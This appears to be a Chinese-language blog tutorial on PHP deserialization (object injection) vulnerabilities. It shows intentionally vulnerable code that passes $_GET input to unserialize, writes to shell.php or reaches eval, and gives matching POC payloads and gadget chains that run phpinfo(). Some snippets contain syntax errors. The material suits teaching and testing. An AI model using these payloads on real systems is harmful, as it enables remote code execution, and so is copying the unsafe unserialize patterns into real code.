46

0x00 什么是序列化

通俗的讲就是把一串代码转化成字符串存储在一个对象中。反序列化是把对象中的字符串转化成可执行代码。在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。

0x01 序列化函数和魔术方法

PHP手册中对序列化函数的解释
serialize() 序列化函数
返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。
unserialize() 反序列化函数
对单一的已序列化的变量进行操作,将其转换回PHP的值。

魔术方法
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发




返回类型

string		字符串类型
Integer 整数型
Boolean 布尔型
Null 空
Array 数组类型
Object 对象类型

小栗子:

<?php
class chybeya{
public var $test = '121';
}
$class1 = new chybeya;//创建chybeya类
$class1_ser = serialize($class1);//序列化

print_r($class1_ser);

/**
返回字符串
O : 7 : "chybeya" : 1 : {s:4:"test";s:3:"121";}
O:存储为对象
7:表示对象有7个字符
"chybeya":表示对象的名称
1:表示有一个值
s:表示字符串string
4:表示该字符串的长度
"test":表示为字符串的名称
s: string
3:字符串长度
"121" 字符串值
**/

echo '<hr/>';
$class2_unser = unserialize($class1_ser);//反序列化
print_r($class2_unser);

/*
返回对象代码
chybeya Object ( [test] => 121 )
*/

魔术方法

<?php
class test{
public $varr1 = "abc";
public $varr2 = "123";
public function echop(){
echo $this->varr1."<br>";
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
return array('varr1','varr2');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echop(); //调用echoP()方法,输出"abc"
echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。
// 脚本结束又会调用__destruct()方法,输出__destruct
?>

image-20201026173355024

小栗子:测试代码

class chybeta{
public $test = '123';
public function __wakeup(){//当执行序列化操作时,自动调用此方法执行方法中的代码
$fp = fopen("shell.php","w") ;//打开shell.php文件
fwrite($fp,$this->test);//写入内容
fclose($fp);//关闭资源
}
}
$class3 = $_GET['test'];//从地址栏获取
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);//反序列化操作
require "shell.php";
// 为显示效果,把这个shell.php包含进来

payload:

<?php
class chybeta{
public $test = '123';
public function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class4 = new chybeta();//new chybeta类
$class4->test = "<?php phpinfo();?>"; //调用类中的test方法并写入phpinfo
$class4_ser = serialize($class4); //序列化后调用__wakeup方法,由于test被重新赋值,所以写入的是phpinfo
print_r($class4_ser);
/**O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}**/
//
?>

因之前包含的shell.php,代码被执行输出phpinfo页面

image-20201016153811519

shell文件中写入phpinfo

image-20201016153821529

其他魔术方法的利用

如果在unserialize()中并不会直接调用的魔术函数,比如前面提到的construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

<?php
class ph0en1x{
public function __construct($test){//此时__construct自动触发,接收test方法,写入文件
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class chybeta{
public $test = '123';
public function __wakeup(){
$obj = new ph0en1x($this->test);//此处new ph0en1x并且调用了chybeta类中的test方法,
}
}
$class5 = $_GET['test'];//获取用户输入的
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);//当程序反序列化时调用chybeta类中的__wakeup方法
require "shell.php";
?>

POC

<?php
class ph0en1x{
public function __construct($test){//__construct类自动加载,接收test值,phpinfo,写入shell.php中
$fp = fopen("shell.php" , "w");
fwrite($fp,$test);
fclose($fp);
}
}

class chybeta{
public $test = '123';
public function __wakeup(){
$obj = new ph0en1x($this->test);//new ph0en1x类,test此时已被外部修改值为phpinfo

}
}
$class5 = new chybeta();//new chybeta类
$class5->test = "<?php phpinfo();?>"; //调用类中的test方法并写入phpinfo
$class5_ser = serialize($class5); //序列化后调用__wakeup方法
print_r($class5_ser);

//POC:O:7:"chybeta":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}

如下图所示

image-20201016165254040

序列化后的:chybeta Object ( [test] => "<?php phpinfo();?>")
因为php可以识别并执行,所以phpinfo被成功执行。

当漏洞代码存在类的普通方法中,此时如不能使用“自动调用”。可利用普通的方法构造poc

测试小栗子:

<?php
class chybeta {
public $test;//5.1 此时test=new ph0en2x()
public function __construct() {//2、自动加载
$this->test = new ph0en1x();//new ph0en1x类但无调用 程序跳转3
}
public function __destruct() {//6、序列化完后自动调用此魔术方法
$this->test->action();//调用test对象中的action方法,跳转到7
}
}
class ph0en1x {
public function action() {
echo "ph0en1x";
}
}
class ph0en2x {
public $test2;//5.2 此时test2="phpinfo"
public function action() {//7、执行代码,此时test2=phpinfo
eval($this->test2);//所以代码变成 eval("phpinfo();"); 输出后,到此程序全部执行完成,而当程序中的对象被销毁清空时,会调用chybeta类中的__destruct方法,在调用action方法,此时的action方法是ph0en1x类中的方法,所以最后输出ph0en1x
}
}
$class6 = new chybeta();//1、new chybeta类 跳转2
$class7 = $_GET['test'];//3、获取用户输入的,这里我们带入一下poc
unserialize($class7);//4、反序列化,将poc反序列化,跳转5,当5内部处理完了后,跳转到6

POC:
<?php
class chybeta {
public $test;
function __construct() {//5.1 自动加载
$this->test = new ph0en2x();//5.1 new ph0en2x类的值复制给test,跳转5.2
}
}
class ph0en2x {
$test2 = "phpinfo();";//5.2 将phpinfo赋给$test2
}
echo serialize(new chybeta());//5、此处new chybeta类后使用将值序列化后输出
?>
//序列化后的poc:O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}

调试过程如下图:

2

参考链接:

https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.freebuf.com/articles/web/241998.html

https://mp.weixin.qq.com/s/JzGDyP6RGZ4xCxV4gqM2Sw

https://zhuanlan.zhihu.com/p/69132837